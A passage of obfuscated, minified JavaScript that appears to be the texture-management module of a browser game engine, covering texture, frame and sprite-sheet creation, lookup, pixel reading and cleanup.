+ _0x410211) / _0x56e1e9, this; }, 'updateUVsInverted': function () { var _0x2a6790 = this['source']['width'], _0x26e684 = this['source']['height']; return this['u0'] = (this['cutX'] + this['cutHeight']) / _0x2a6790, this['v0'] = this['cutY'] / _0x26e684, this['u1'] = this['cutX'] / _0x2a6790, this['v1'] = (this['cutY'] + this['cutWidth']) / _0x26e684, this; }, 'clone': function () { var _0x217a9a = new _0x16de1a(this['texture'], this['name'], this['sourceIndex']); return _0x217a9a['cutX'] = this['cutX'], _0x217a9a['cutY'] = this['cutY'], _0x217a9a['cutWidth'] = this['cutWidth'], _0x217a9a['cutHeight'] = this['cutHeight'], _0x217a9a['x'] = this['x'], _0x217a9a['y'] = this['y'], _0x217a9a['width'] = this['width'], _0x217a9a['height'] = this['height'], _0x217a9a['halfWidth'] = this['halfWidth'], _0x217a9a['halfHeight'] = this['halfHeight'], _0x217a9a['centerX'] = this['centerX'], _0x217a9a['centerY'] = this['centerY'], _0x217a9a['rotated'] = this['rotated'], _0x217a9a['data'] = _0x44c9ab(!0x0, _0x217a9a['data'], this['data']), _0x217a9a['updateUVs'](), _0x217a9a; }, 'destroy': function () { this['texture'] = null, this['source'] = null, this['customData'] = null, this['data'] = null; }, 'glTexture': { 'get': function () { return this['source']['glTexture']; } }, 'realWidth': { 'get': function () { return this['data']['sourceSize']['w']; } }, 'realHeight': { 'get': function () { return this['data']['sourceSize']['h']; } }, 'radius': { 'get': function () { return this['data']['radius']; } }, 'trimmed': { 'get': function () { return this['data']['trim']; } }, 'scale9': { 'get': function () { return this['data']['scale9']; } }, 'is3Slice': { 'get': function () { return this['data']['is3Slice']; } }, 'canvasData': { 'get': function () { return this['data']['drawImage']; } } }); _0x5594f4['exports'] = _0x16de1a; }, 0x13585: (_0x3e02c5, _0x3ce6d2, _0x8c90ad) => { var _0x54da66 = _0x8c90ad(0x145db), _0x2712c5 = _0x8c90ad(0x10e7), _0x196d94 = _0x8c90ad(0x2e64), _0x312f41 = new _0x54da66({ 'initialize': function (_0x59e714, _0x3d6453, _0x2df8cc, _0x541f53, _0xdb381c) { Array['isArray'](_0x2df8cc) || (_0x2df8cc = [_0x2df8cc]), this['manager'] = _0x59e714, this['key'] = _0x3d6453, this['source'] = [], this['dataSource'] = [], this['frames'] = {}, this['customData'] = {}, this['firstFrame'] = '__BASE', this['frameTotal'] = 0x0; for (var _0x3d60f7 = 0x0; _0x3d60f7 < _0x2df8cc['length']; _0x3d60f7++)this['source']['push'](new _0x196d94(this, _0x2df8cc[_0x3d60f7], _0x541f53, _0xdb381c)); }, 'add': function (_0x34a888, _0x32c1ac, _0x1a01f5, _0x5a64de, _0x21e7b2, _0xb09084) { if (this['has'](_0x34a888)) return null; var _0x562475 = new _0x2712c5(this, _0x34a888, _0x32c1ac, _0x1a01f5, _0x5a64de, _0x21e7b2, _0xb09084); return this['frames'][_0x34a888] = _0x562475, '__BASE' === this['firstFrame'] && (this['firstFrame'] = _0x34a888), this['frameTotal']++, _0x562475; }, 'remove': function (_0x3f3c25) { return !!this['has'](_0x3f3c25) && (this['get'](_0x3f3c25)['destroy'](), delete this['frames'][_0x3f3c25], !0x0); }, 'has': function (_0x519612) { return this['frames']['hasOwnProperty'](_0x519612); }, 'get': function (_0x1037bb) { _0x1037bb || (_0x1037bb = this['firstFrame']); var _0x3095de = this['frames'][_0x1037bb]; return _0x3095de || (_0x3095de = this['frames'][this['firstFrame']]), _0x3095de; }, 'getTextureSourceIndex': function (_0x4719e7) { for (var _0x1a877f = 0x0; _0x1a877f < this['source']['length']; _0x1a877f++)if (this['source'][_0x1a877f] === _0x4719e7) return _0x1a877f; return -0x1; }, 'getFramesFromTextureSource': function (_0x4a3210, _0x3d31fe) { void 0x0 === _0x3d31fe && (_0x3d31fe = !0x1); var _0x52901c = []; for (var _0x3fae7b in this['frames']) if ('__BASE' !== _0x3fae7b || _0x3d31fe) { var _0x3c7126 = this['frames'][_0x3fae7b]; _0x3c7126['sourceIndex'] === _0x4a3210 && _0x52901c['push'](_0x3c7126); } return _0x52901c; }, 'getFrameBounds': function (_0x552ca8) { void 0x0 === _0x552ca8 && (_0x552ca8 = 0x0); for (var _0x7d2487 = this['getFramesFromTextureSource'](_0x552ca8, !0x0), _0x3b4998 = _0x7d2487[0x0], _0xb13553 = _0x3b4998['cutX'], _0x508c53 = _0x3b4998['cutY'], _0x4f5a17 = _0x3b4998['cutX'] + _0x3b4998['cutWidth'], _0x427710 = _0x3b4998['cutY'] + _0x3b4998['cutHeight'], _0x402a15 = 0x1; _0x402a15 < _0x7d2487['length']; _0x402a15++) { var _0x5d2444 = _0x7d2487[_0x402a15]; _0x5d2444['cutX'] < _0xb13553 && (_0xb13553 = _0x5d2444['cutX']), _0x5d2444['cutY'] < _0x508c53 && (_0x508c53 = _0x5d2444['cutY']), _0x5d2444['cutX'] + _0x5d2444['cutWidth'] > _0x4f5a17 && (_0x4f5a17 = _0x5d2444['cutX'] + _0x5d2444['cutWidth']), _0x5d2444['cutY'] + _0x5d2444['cutHeight'] > _0x427710 && (_0x427710 = _0x5d2444['cutY'] + _0x5d2444['cutHeight']); } return { 'x': _0xb13553, 'y': _0x508c53, 'width': _0x4f5a17 - _0xb13553, 'height': _0x427710 - _0x508c53 }; }, 'getFrameNames': function (_0x20ede4) { void 0x0 === _0x20ede4 && (_0x20ede4 = !0x1); var _0x1fe26e = Object['keys'](this['frames']); if (!_0x20ede4) { var _0x141abc = _0x1fe26e['indexOf']('__BASE'); -0x1 !== _0x141abc && _0x1fe26e['splice'](_0x141abc, 0x1); } return _0x1fe26e; }, 'getSourceImage': function (_0x1224e8) { null != _0x1224e8 && 0x1 !== this['frameTotal'] || (_0x1224e8 = '__BASE'); var _0x834a8d = this['frames'][_0x1224e8]; return _0x834a8d ? _0x834a8d['source']['image'] : this['frames']['__BASE']['source']['image']; }, 'getDataSourceImage': function (_0x3c24d1) { null != _0x3c24d1 && 0x1 !== this['frameTotal'] || (_0x3c24d1 = '__BASE'); var _0x34770f, _0x3a0a06 = this['frames'][_0x3c24d1]; return _0x34770f = _0x3a0a06 ? _0x3a0a06['sourceIndex'] : this['frames']['__BASE']['sourceIndex'], this['dataSource'][_0x34770f]['image']; }, 'setDataSource': function (_0x148dd0) { Array['isArray'](_0x148dd0) || (_0x148dd0 = [_0x148dd0]); for (var _0x6ca8d7 = 0x0; _0x6ca8d7 < _0x148dd0['length']; _0x6ca8d7++) { var _0x3ea184 = this['source'][_0x6ca8d7]; this['dataSource']['push'](new _0x196d94(this, _0x148dd0[_0x6ca8d7], _0x3ea184['width'], _0x3ea184['height'])); } }, 'setFilter': function (_0x5d5ef8) { var _0x437e71; for (_0x437e71 = 0x0; _0x437e71 < this['source']['length']; _0x437e71++)this['source'][_0x437e71]['setFilter'](_0x5d5ef8); for (_0x437e71 = 0x0; _0x437e71 < this['dataSource']['length']; _0x437e71++)this['dataSource'][_0x437e71]['setFilter'](_0x5d5ef8); }, 'destroy': function () { var _0x12a3d0, _0x5a004b = this['source'], _0x2ca9ea = this['dataSource']; for (_0x12a3d0 = 0x0; _0x12a3d0 < _0x5a004b['length']; _0x12a3d0++)_0x5a004b[_0x12a3d0] && _0x5a004b[_0x12a3d0]['destroy'](); for (_0x12a3d0 = 0x0; _0x12a3d0 < _0x2ca9ea['length']; _0x12a3d0++)_0x2ca9ea[_0x12a3d0] && _0x2ca9ea[_0x12a3d0]['destroy'](); for (var _0x3b0561 in this['frames']) { var _0x5e8d5f = this['frames'][_0x3b0561]; _0x5e8d5f && _0x5e8d5f['destroy'](); } this['source'] = [], this['dataSource'] = [], this['frames'] = {}, this['manager']['removeKey'](this['key']), this['manager'] = null; } }); _0x3e02c5['exports'] = _0x312f41; }, 0x42ea: (_0x5701d0, _0xa6666, _0x227008) => { var _0x1e1811 = _0x227008(0x6d0f), _0x315cc0 = _0x227008(0xe026), _0x549fd0 = _0x227008(0x145db), _0x37a688 = _0x227008(0xa01b), _0x5bc47e = _0x227008(0x1f76), _0x52fc19 = _0x227008(0x13da8), _0x4a7638 = _0x227008(0xc668), _0x14a97e = _0x227008(0x10f42), _0x2b4935 = _0x227008(0x10e7), _0xa101de = _0x227008(0x20fb), _0x146b20 = _0x227008(0x18500), _0x43eba7 = _0x227008(0x8952), _0x5f0ec5 = _0x227008(0x159fb), _0x9484b4 = _0x227008(0xa0fc), _0x8dc819 = _0x227008(0xef7d), _0x4eeafa = _0x227008(0x15721), _0x1890e7 = _0x227008(0x13585), _0x371957 = new _0x549fd0({ 'Extends': _0x4a7638, 'initialize': function (_0x25a40d) { _0x4a7638['call'](this), this['game'] = _0x25a40d, this['name'] = 'TextureManager', this['list'] = {}, this['_tempCanvas'] = _0x1e1811['create2D'](this), this['_tempContext'] = this['_tempCanvas']['getContext']('2d', { 'willReadFrequently': !0x0 }), this['_pending'] = 0x0, this['stamp'], this['stampCrop'] = new _0x4eeafa(), this['silentWarnings'] = !0x1, _0x25a40d['events']['once'](_0xa101de['BOOT'], this['boot'], this); }, 'boot': function () { this['_pending'] = 0x3, this['on'](_0x14a97e['LOAD'], this['updatePending'], this), this['on'](_0x14a97e['ERROR'], this['updatePending'], this); var _0xcbb732 = this['game']['config']; null !== _0xcbb732['defaultImage'] && this['addBase64']('__DEFAULT', _0xcbb732['defaultImage']), null !== _0xcbb732['missingImage'] && this['addBase64']('__MISSING', _0xcbb732['missingImage']), null !== _0xcbb732['whiteImage'] && this['addBase64']('__WHITE', _0xcbb732['whiteImage']), this['game']['renderer'] && this['game']['renderer']['gl'] && this['addUint8Array']('__NORMAL', new Uint8Array([0x7f, 0x7f, 0xff, 0xff]), 0x1, 0x1), this['game']['events']['once'](_0xa101de['DESTROY'], this['destroy'], this), this['game']['events']['once'](_0xa101de['SYSTEM_READY'], function (_0x5bf723) { this['stamp'] = new _0x5f0ec5(_0x5bf723)['setOrigin'](0x0); }, this); }, 'updatePending': function () { this['_pending']--, 0x0 === this['_pending'] && (this['off'](_0x14a97e['LOAD']), this['off'](_0x14a97e['ERROR']), this['emit'](_0x14a97e['READY'])); }, 'checkKey': function (_0x2d9cf9) { return !(!_0x2d9cf9 || 'string' != typeof _0x2d9cf9 || this['exists'](_0x2d9cf9)) || (this['silentWarnings'], !0x1); }, 'remove': function (_0x33ce2b) { if ('string' == typeof _0x33ce2b) { if (!this['exists'](_0x33ce2b)) return this['silentWarnings'], this; _0x33ce2b = this['get'](_0x33ce2b); } var _0x3a4d48 = _0x33ce2b['key']; return this['list']['hasOwnProperty'](_0x3a4d48) && (_0x33ce2b['destroy'](), this['emit'](_0x14a97e['REMOVE'], _0x3a4d48), this['emit'](_0x14a97e['REMOVE_KEY'] + _0x3a4d48)), this; }, 'removeKey': function (_0x2018fb) { return this['list']['hasOwnProperty'](_0x2018fb) && delete this['list'][_0x2018fb], this; }, 'addBase64': function (_0x329d91, _0xc347f6) { if (this['checkKey'](_0x329d91)) { var _0x23cad4 = this, _0x1cd241 = new Image(); _0x1cd241['onerror'] = function () { _0x23cad4['emit'](_0x14a97e['ERROR'], _0x329d91); }, _0x1cd241['onload'] = function () { var _0x54bfc6 = _0x23cad4['create'](_0x329d91, _0x1cd241); _0x8dc819['Image'](_0x54bfc6, 0x0), _0x23cad4['emit'](_0x14a97e['ADD'], _0x329d91, _0x54bfc6), _0x23cad4['emit'](_0x14a97e['ADD_KEY'] + _0x329d91, _0x54bfc6), _0x23cad4['emit'](_0x14a97e['LOAD'], _0x329d91, _0x54bfc6); }, _0x1cd241['src'] = _0xc347f6; } return this; }, 'getBase64': function (_0x5a95fb, _0x19e60a, _0x57172c, _0x485dce) { void 0x0 === _0x57172c && (_0x57172c = 'image/png'), void 0x0 === _0x485dce && (_0x485dce = 0.92); var _0x4c305c = '', _0x26840a = this['getFrame'](_0x5a95fb, _0x19e60a); if (_0x26840a && (_0x26840a['source']['isRenderTexture'] || _0x26840a['source']['isGLTexture'])) this['silentWarnings']; else { if (_0x26840a) { var _0x3f18f2 = _0x26840a['canvasData'], _0x664c85 = _0x1e1811['create2D'](this, _0x3f18f2['width'], _0x3f18f2['height']), _0x2a8c47 = _0x664c85['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x3f18f2['width'] > 0x0 && _0x3f18f2['height'] > 0x0 && _0x2a8c47['drawImage'](_0x26840a['source']['image'], _0x3f18f2['x'], _0x3f18f2['y'], _0x3f18f2['width'], _0x3f18f2['height'], 0x0, 0x0, _0x3f18f2['width'], _0x3f18f2['height']), _0x4c305c = _0x664c85['toDataURL'](_0x57172c, _0x485dce), _0x1e1811['remove'](_0x664c85); } } return _0x4c305c; }, 'addImage': function (_0x5002dd, _0x21f1d4, _0x448f91) { var _0x45790e = null; return this['checkKey'](_0x5002dd) && (_0x45790e = this['create'](_0x5002dd, _0x21f1d4), _0x8dc819['Image'](_0x45790e, 0x0), _0x448f91 && _0x45790e['setDataSource'](_0x448f91), this['emit'](_0x14a97e['ADD'], _0x5002dd, _0x45790e), this['emit'](_0x14a97e['ADD_KEY'] + _0x5002dd, _0x45790e)), _0x45790e; }, 'addGLTexture': function (_0x12d3d2, _0x3912a5) { var _0x3d4c27 = null; if (this['checkKey'](_0x12d3d2)) { var _0x2797d5 = _0x3912a5['width'], _0xc9a309 = _0x3912a5['height']; (_0x3d4c27 = this['create'](_0x12d3d2, _0x3912a5, _0x2797d5, _0xc9a309))['add']('__BASE', 0x0, 0x0, 0x0, _0x2797d5, _0xc9a309), this['emit'](_0x14a97e['ADD'], _0x12d3d2, _0x3d4c27), this['emit'](_0x14a97e['ADD_KEY'] + _0x12d3d2, _0x3d4c27); } return _0x3d4c27; }, 'addCompressedTexture': function (_0x5afcd5, _0x15ef1a, _0x32b191) { var _0xb253ad = null; if (this['checkKey'](_0x5afcd5)) { if ((_0xb253ad = this['create'](_0x5afcd5, _0x15ef1a))['add']('__BASE', 0x0, 0x0, 0x0, _0x15ef1a['width'], _0x15ef1a['height']), _0x32b191) { var _0x217702 = function (_0x1a59a3, _0x4dd7d4, _0x1f0b65) { Array['isArray'](_0x1f0b65['textures']) || Array['isArray'](_0x1f0b65['frames']) ? _0x8dc819['JSONArray'](_0x1a59a3, _0x4dd7d4, _0x1f0b65) : _0x8dc819['JSONHash'](_0x1a59a3, _0x4dd7d4, _0x1f0b65); }; if (Array['isArray'](_0x32b191)) { for (var _0x2fa48 = 0x0; _0x2fa48 < _0x32b191['length']; _0x2fa48++)_0x217702(_0xb253ad, _0x2fa48, _0x32b191[_0x2fa48]); } else _0x217702(_0xb253ad, 0x0, _0x32b191); } this['emit'](_0x14a97e['ADD'], _0x5afcd5, _0xb253ad), this['emit'](_0x14a97e['ADD_KEY'] + _0x5afcd5, _0xb253ad); } return _0xb253ad; }, 'addRenderTexture': function (_0x1a19ae, _0x133a04) { var _0x515ccf = null; return this['checkKey'](_0x1a19ae) && ((_0x515ccf = this['create'](_0x1a19ae, _0x133a04))['add']('__BASE', 0x0, 0x0, 0x0, _0x133a04['width'], _0x133a04['height']), this['emit'](_0x14a97e['ADD'], _0x1a19ae, _0x515ccf), this['emit'](_0x14a97e['ADD_KEY'] + _0x1a19ae, _0x515ccf)), _0x515ccf; }, 'generate': function (_0x71ec8d, _0x152149) { if (this['checkKey'](_0x71ec8d)) { var _0x1f3f15 = _0x1e1811['create'](this, 0x1, 0x1); return _0x152149['canvas'] = _0x1f3f15, _0x146b20(_0x152149), this['addCanvas'](_0x71ec8d, _0x1f3f15); } return null; }, 'createCanvas': function (_0x3e8918, _0x3bb715, _0x976f95) { if (void 0x0 === _0x3bb715 && (_0x3bb715 = 0x100), void 0x0 === _0x976f95 && (_0x976f95 = 0x100), this['checkKey'](_0x3e8918)) { var _0x16c8f7 = _0x1e1811['create'](this, _0x3bb715, _0x976f95, _0x5bc47e['CANVAS'], !0x0); return this['addCanvas'](_0x3e8918, _0x16c8f7); } return null; }, 'addCanvas': function (_0x3ae9fb, _0x84d5f4, _0x3cfbbd) { void 0x0 === _0x3cfbbd && (_0x3cfbbd = !0x1); var _0x5d28e8 = null; return _0x3cfbbd ? _0x5d28e8 = new _0x315cc0(this, _0x3ae9fb, _0x84d5f4, _0x84d5f4['width'], _0x84d5f4['height']) : this['checkKey'](_0x3ae9fb) && (_0x5d28e8 = new _0x315cc0(this, _0x3ae9fb, _0x84d5f4, _0x84d5f4['width'], _0x84d5f4['height']), this['list'][_0x3ae9fb] = _0x5d28e8, this['emit'](_0x14a97e['ADD'], _0x3ae9fb, _0x5d28e8), this['emit'](_0x14a97e['ADD_KEY'] + _0x3ae9fb, _0x5d28e8)), _0x5d28e8; }, 'addDynamicTexture': function (_0x2e152b, _0x20008b, _0x4c6dfd) { var _0x1f08eb = null; return 'string' != typeof _0x2e152b || this['exists'](_0x2e152b) ? _0x2e152b = (_0x1f08eb = _0x2e152b)['key'] : _0x1f08eb = new _0x52fc19(this, _0x2e152b, _0x20008b, _0x4c6dfd), this['checkKey'](_0x2e152b) ? (this['list'][_0x2e152b] = _0x1f08eb, this['emit'](_0x14a97e['ADD'], _0x2e152b, _0x1f08eb), this['emit'](_0x14a97e['ADD_KEY'] + _0x2e152b, _0x1f08eb)) : _0x1f08eb = null, _0x1f08eb; }, 'addAtlas': function (_0x34a14e, _0x542425, _0x352b6b, _0x2173bf) { return Array['isArray'](_0x352b6b['textures']) || Array['isArray'](_0x352b6b['frames']) ? this['addAtlasJSONArray'](_0x34a14e, _0x542425, _0x352b6b, _0x2173bf) : this['addAtlasJSONHash'](_0x34a14e, _0x542425, _0x352b6b, _0x2173bf); }, 'addAtlasJSONArray': function (_0x4953e8, _0x567b7f, _0x407f21, _0x122532) { var _0x417100 = null; if (_0x567b7f instanceof _0x1890e7 ? (_0x4953e8 = _0x567b7f['key'], _0x417100 = _0x567b7f) : this['checkKey'](_0x4953e8) && (_0x417100 = this['create'](_0x4953e8, _0x567b7f)), _0x417100) { if (Array['isArray'](_0x407f21)) for (var _0x431847 = 0x1 === _0x407f21['length'], _0xa1b357 = 0x0; _0xa1b357 < _0x417100['source']['length']; _0xa1b357++) { var _0x1b1f1e = _0x431847 ? _0x407f21[0x0] : _0x407f21[_0xa1b357]; _0x8dc819['JSONArray'](_0x417100, _0xa1b357, _0x1b1f1e); } else _0x8dc819['JSONArray'](_0x417100, 0x0, _0x407f21); _0x122532 && _0x417100['setDataSource'](_0x122532), this['emit'](_0x14a97e['ADD'], _0x4953e8, _0x417100), this['emit'](_0x14a97e['ADD_KEY'] + _0x4953e8, _0x417100); } return _0x417100; }, 'addAtlasJSONHash': function (_0xa76299, _0x4ea7fc, _0x19bf0d, _0x55e954) { var _0x246236 = null; if (_0x4ea7fc instanceof _0x1890e7 ? (_0xa76299 = _0x4ea7fc['key'], _0x246236 = _0x4ea7fc) : this['checkKey'](_0xa76299) && (_0x246236 = this['create'](_0xa76299, _0x4ea7fc)), _0x246236) { if (Array['isArray'](_0x19bf0d)) { for (var _0x5354e5 = 0x0; _0x5354e5 < _0x19bf0d['length']; _0x5354e5++)_0x8dc819['JSONHash'](_0x246236, _0x5354e5, _0x19bf0d[_0x5354e5]); } else _0x8dc819['JSONHash'](_0x246236, 0x0, _0x19bf0d); _0x55e954 && _0x246236['setDataSource'](_0x55e954), this['emit'](_0x14a97e['ADD'], _0xa76299, _0x246236), this['emit'](_0x14a97e['ADD_KEY'] + _0xa76299, _0x246236); } return _0x246236; }, 'addAtlasXML': function (_0x3c0706, _0x502324, _0x15cec9, _0x180d90) { var _0x1e304 = null; return _0x502324 instanceof _0x1890e7 ? (_0x3c0706 = _0x502324['key'], _0x1e304 = _0x502324) : this['checkKey'](_0x3c0706) && (_0x1e304 = this['create'](_0x3c0706, _0x502324)), _0x1e304 && (_0x8dc819['AtlasXML'](_0x1e304, 0x0, _0x15cec9), _0x180d90 && _0x1e304['setDataSource'](_0x180d90), this['emit'](_0x14a97e['ADD'], _0x3c0706, _0x1e304), this['emit'](_0x14a97e['ADD_KEY'] + _0x3c0706, _0x1e304)), _0x1e304; }, 'addUnityAtlas': function (_0x510561, _0x12ce04, _0x4c38e8, _0x334365) { var _0x22a9cf = null; return _0x12ce04 instanceof _0x1890e7 ? (_0x510561 = _0x12ce04['key'], _0x22a9cf = _0x12ce04) : this['checkKey'](_0x510561) && (_0x22a9cf = this['create'](_0x510561, _0x12ce04)), _0x22a9cf && (_0x8dc819['UnityYAML'](_0x22a9cf, 0x0, _0x4c38e8), _0x334365 && _0x22a9cf['setDataSource'](_0x334365), this['emit'](_0x14a97e['ADD'], _0x510561, _0x22a9cf), this['emit'](_0x14a97e['ADD_KEY'] + _0x510561, _0x22a9cf)), _0x22a9cf; }, 'addSpriteSheet': function (_0x159564, _0x565b0f, _0xebf7f3, _0x201cd7) { var _0x5df7ee = null; if (_0x565b0f instanceof _0x1890e7 ? (_0x159564 = _0x565b0f['key'], _0x5df7ee = _0x565b0f) : this['checkKey'](_0x159564) && (_0x5df7ee = this['create'](_0x159564, _0x565b0f)), _0x5df7ee) { var _0x3ebc4f = _0x5df7ee['source'][0x0]['width'], _0x2b7107 = _0x5df7ee['source'][0x0]['height']; _0x8dc819['SpriteSheet'](_0x5df7ee, 0x0, 0x0, 0x0, _0x3ebc4f, _0x2b7107, _0xebf7f3), _0x201cd7 && _0x5df7ee['setDataSource'](_0x201cd7), this['emit'](_0x14a97e['ADD'], _0x159564, _0x5df7ee), this['emit'](_0x14a97e['ADD_KEY'] + _0x159564, _0x5df7ee); } return _0x5df7ee; }, 'addSpriteSheetFromAtlas': function (_0x46daf6, _0x4d4f2a) { if (!this['checkKey'](_0x46daf6)) return null; var _0x2ea000 = _0x43eba7(_0x4d4f2a, 'atlas', null), _0x2f1375 = _0x43eba7(_0x4d4f2a, 'frame', null); if (_0x2ea000 && _0x2f1375) { var _0x1b5df1 = this['get'](_0x2ea000)['get'](_0x2f1375); if (_0x1b5df1) { var _0x1c3500 = _0x1b5df1['source']['image']; _0x1c3500 || (_0x1c3500 = _0x1b5df1['source']['glTexture']); var _0x390f72 = this['create'](_0x46daf6, _0x1c3500); return _0x1b5df1['trimmed'] ? _0x8dc819['SpriteSheetFromAtlas'](_0x390f72, _0x1b5df1, _0x4d4f2a) : _0x8dc819['SpriteSheet'](_0x390f72, 0x0, _0x1b5df1['cutX'], _0x1b5df1['cutY'], _0x1b5df1['cutWidth'], _0x1b5df1['cutHeight'], _0x4d4f2a), this['emit'](_0x14a97e['ADD'], _0x46daf6, _0x390f72), this['emit'](_0x14a97e['ADD_KEY'] + _0x46daf6, _0x390f72), _0x390f72; } } }, 'addUint8Array': function (_0x50f105, _0x4af396, _0x18fa92, _0x3d93dc) { if (!this['checkKey'](_0x50f105) || _0x4af396['length'] / 0x4 != _0x18fa92 * _0x3d93dc) return null; var _0x225220 = this['create'](_0x50f105, _0x4af396, _0x18fa92, _0x3d93dc); return _0x225220['add']('__BASE', 0x0, 0x0, 0x0, _0x18fa92, _0x3d93dc), this['emit'](_0x14a97e['ADD'], _0x50f105, _0x225220), this['emit'](_0x14a97e['ADD_KEY'] + _0x50f105, _0x225220), _0x225220; }, 'create': function (_0x50d63f, _0x4f3d0d, _0x4a19ed, _0x58ea34) { var _0x4d23b1 = null; return this['checkKey'](_0x50d63f) && (_0x4d23b1 = new _0x1890e7(this, _0x50d63f, _0x4f3d0d, _0x4a19ed, _0x58ea34), this['list'][_0x50d63f] = _0x4d23b1), _0x4d23b1; }, 'exists': function (_0xd52ea6) { return this['list']['hasOwnProperty'](_0xd52ea6); }, 'get': function (_0x44a4d0) { return void 0x0 === _0x44a4d0 && (_0x44a4d0 = '__DEFAULT'), this['list'][_0x44a4d0] ? this['list'][_0x44a4d0] : _0x44a4d0 instanceof _0x1890e7 ? _0x44a4d0 : _0x44a4d0 instanceof _0x2b4935 ? _0x44a4d0['texture'] : this['list']['__MISSING']; }, 'cloneFrame': function (_0x1690be, _0xd5a0c1) { if (this['list'][_0x1690be]) return this['list'][_0x1690be]['get'](_0xd5a0c1)['clone'](); }, 'getFrame': function (_0x4a08e4, _0x36fb7c) { if (this['list'][_0x4a08e4]) return this['list'][_0x4a08e4]['get'](_0x36fb7c); }, 'parseFrame': function (_0x52678a) { if (_0x52678a) return 'string' == typeof _0x52678a ? this['getFrame'](_0x52678a) : Array['isArray'](_0x52678a) && 0x2 === _0x52678a['length'] ? this['getFrame'](_0x52678a[0x0], _0x52678a[0x1]) : _0x9484b4(_0x52678a) ? this['getFrame'](_0x52678a['key'], _0x52678a['frame']) : _0x52678a instanceof _0x1890e7 ? _0x52678a['get']() : _0x52678a instanceof _0x2b4935 ? _0x52678a : void 0x0; }, 'getTextureKeys': function () { var _0x10058c = []; for (var _0x18546a in this['list']) '__DEFAULT' !== _0x18546a && '__MISSING' !== _0x18546a && '__WHITE' !== _0x18546a && '__NORMAL' !== _0x18546a && _0x10058c['push'](_0x18546a); return _0x10058c; }, 'getPixel': function (_0x17afea, _0x3e8a11, _0x293c07, _0x28fb29) { var _0x140530 = this['getFrame'](_0x293c07, _0x28fb29); if (_0x140530) { _0x17afea -= _0x140530['x'], _0x3e8a11 -= _0x140530['y']; var _0x2f33b4 = _0x140530['data']['cut']; if (_0x17afea += _0x2f33b4['x'], _0x3e8a11 += _0x2f33b4['y'], _0x17afea >= _0x2f33b4['x'] && _0x17afea < _0x2f33b4['r'] && _0x3e8a11 >= _0x2f33b4['y'] && _0x3e8a11 < _0x2f33b4['b']) { var _0x54b0d4 = this['_tempContext']; _0x54b0d4['clearRect'](0x0, 0x0, 0x1, 0x1), _0x54b0d4['drawImage'](_0x140530['source']['image'], _0x17afea, _0x3e8a11, 0x1, 0x1, 0x0, 0x0, 0x1, 0x1); var _0x3d0990 = _0x54b0d4['getImageData'](0x0, 0x0, 0x1, 0x1); return new _0x37a688(_0x3d0990['data'][0x0], _0x3d0990['data'][0x1], _0x3d0990['data'][0x2], _0x3d0990['data'][0x3]); } } return null; }, 'getPixelAlpha': function (_0x5a2615, _0x521dfa, _0x47d4e9, _0xbf3559) { var _0x46f806 = this['getFrame'](_0x47d4e9, _0xbf3559); if (_0x46f806) { _0x5a2615 -= _0x46f806['x'], _0x521dfa -= _0x46f806['y']; var _0x3a0aae = _0x46f806['data']['cut']; if (_0x5a2615 += _0x3a0aae['x'], _0x521dfa += _0x3a0aae['y'], _0x5a2615 >= _0x3a0aae['x'] && _0x5a2615 < _0x3a0aae['r'] && _0x521dfa >= _0x3a0aae['y'] && _0x521dfa < _0x3a0aae['b']) { var _0x408fc5 = this['_tempContext']; return _0x408fc5['clearRect'](0x0, 0x0, 0x1, 0x1), _0x408fc5['drawImage'](_0x46f806['source']['image'], _0x5a2615, _0x521dfa, 0x1, 0x1, 0x0, 0x0, 0x1, 0x1), _0x408fc5['getImageData'](0x0, 0x0, 0x1, 0x1)['data'][0x3]; } } return null; }, 'setTexture': function (_0x51fdeb, _0x5bf39a, _0x4c69cd) { return this['list'][_0x5bf39a] && (_0x51fdeb['texture'] = this['list'][_0x5bf39a], _0x51fdeb['frame'] = _0x51fdeb['texture']['get'](_0x4c69cd)), _0x51fdeb; }, 'renameTexture': function (_0x4383cf, _0x3a5d6d) { var _0x3f644e = this['get'](_0x4383cf); return !(!_0x3f644e || _0x4383cf === _0x3a5d6d || (_0x3f644e['key'] = _0x3a5d6d, this['list'][_0x3a5d6d] = _0x3f644e, delete this['list'][_0x4383cf], 0x0)); }, 'each': function (_0x1a5821, _0x4c62ff) { for (var _0x5df00e = [null], _0x45170a = 0x1; _0x45170a < arguments['length']; _0x45170a++)_0x5df00e['push'](arguments[_0x45170a]); for (var _0x1c766e in this['list']) _0x5df00e[0x0] = this['list'][_0x1c766e], _0x1a5821['apply'](_0x4c62ff, _0x5df00e); }, 'resetStamp': function (_0x1d6d67, _0x2d5316) { void 0x0 === _0x1d6d67 && (_0x1d6d67 = 0x1), void 0x0 === _0x2d5316 && (_0x2d5316 = 0xffffff); var _0x4f3c38 = this['stamp']; return _0x4f3c38['setCrop'](), _0x4f3c38['setPosition'](0x0), _0x4f3c38['setAngle'](0x0), _0x4f3c38['setScale'](0x1), _0x4f3c38['setAlpha'](_0x1d6d67), _0x4f3c38['setTint'](_0x2d5316), _0x4f3c38['setTexture']('__WHITE'), _0x4f3c38; }, 'destroy': function () { for (var _0x1a8249 in this['list']) this['list'][_0x1a8249]['destroy'](); this['list'] = {}, this['stamp']['destroy'](), this['game'] = null, this['stamp'] = null, _0x1e1811['remove'](this['_tempCanvas']); } }); _0x5701d0['exports'] = _0x371957; }, 0x2e64: (_0x5c3a36, _0x1227f6, _0x280be0) => { var _0x3efa52 = _0x280be0(0x6d0f), _0x2d4268 = _0x280be0(0x145db), _0x166210 = _0x280be0(0xc36e), _0x3c236 = _0x280be0(0x7463), _0x5cb0b1 = _0x280be0(0x1433f), _0x1ca0d7 = new _0x2d4268({ 'initialize': function (_0x50a93a, _0x1ec8c2, _0x2ce565, _0x339be2, _0x2a7dab) { void 0x0 === _0x2a7dab && (_0x2a7dab = !0x1); var _0x2559d9 = _0x50a93a['manager']['game']; this['renderer'] = _0x2559d9['renderer'], this['texture'] = _0x50a93a, this['source'] = _0x1ec8c2, this['image'] = _0x1ec8c2['compressed'] ? null : _0x1ec8c2, this['compressionAlgorithm'] = _0x1ec8c2['compressed'] ? _0x1ec8c2['format'] : null, this['resolution'] = 0x1, this['width'] = _0x2ce565 || _0x1ec8c2['naturalWidth'] || _0x1ec8c2['videoWidth'] || _0x1ec8c2['width'] || 0x0, this['height'] = _0x339be2 || _0x1ec8c2['naturalHeight'] || _0x1ec8c2['videoHeight'] || _0x1ec8c2['height'] || 0x0, this['scaleMode'] = _0x3c236['DEFAULT'], this['isCanvas'] = _0x1ec8c2 instanceof HTMLCanvasElement, this['isVideo'] = 